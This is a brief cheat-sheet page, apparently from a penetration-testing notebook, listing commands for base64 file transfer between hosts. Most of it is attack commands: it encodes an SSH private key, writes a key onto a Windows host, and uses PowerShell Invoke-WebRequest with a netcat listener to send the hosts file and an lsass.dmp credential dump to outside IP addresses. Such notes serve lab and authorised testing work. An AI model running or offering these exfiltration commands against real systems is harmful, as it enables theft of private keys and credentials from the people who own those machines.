githubEdit

base64-transfer

Base64 encode & decode

Base64 encode (linux)

cat id_rsa | base64 -w 0;echo

Base64 encode

[Convert]::ToBase64String((Get-Content -path "C:\Windows\system32\drivers\etc\hosts" -Encoding byte))

Base64 decode

[IO.File]::WriteAllBytes("C:\Users\Public\id_rsa", [Convert]::FromBase64String("Encode_string"))

Base64 web upload via powershell

$b64 =[System.convert]::ToBase64String((Get-Content -Path 'C:\Windows\System32\drivers\etc\hosts' -Encoding Byte))
nc -lvnp 8000
Invoke-WebRequest -Uri http://192.168.49.128:8000/upload -Method POST -Body $b64
Invoke-WebRequest -Uri "http://10.10.14.144:8000/upload" -Method Post -InFile "C./lsass.dmp" -ContentType "multipart/form-data"

Last updated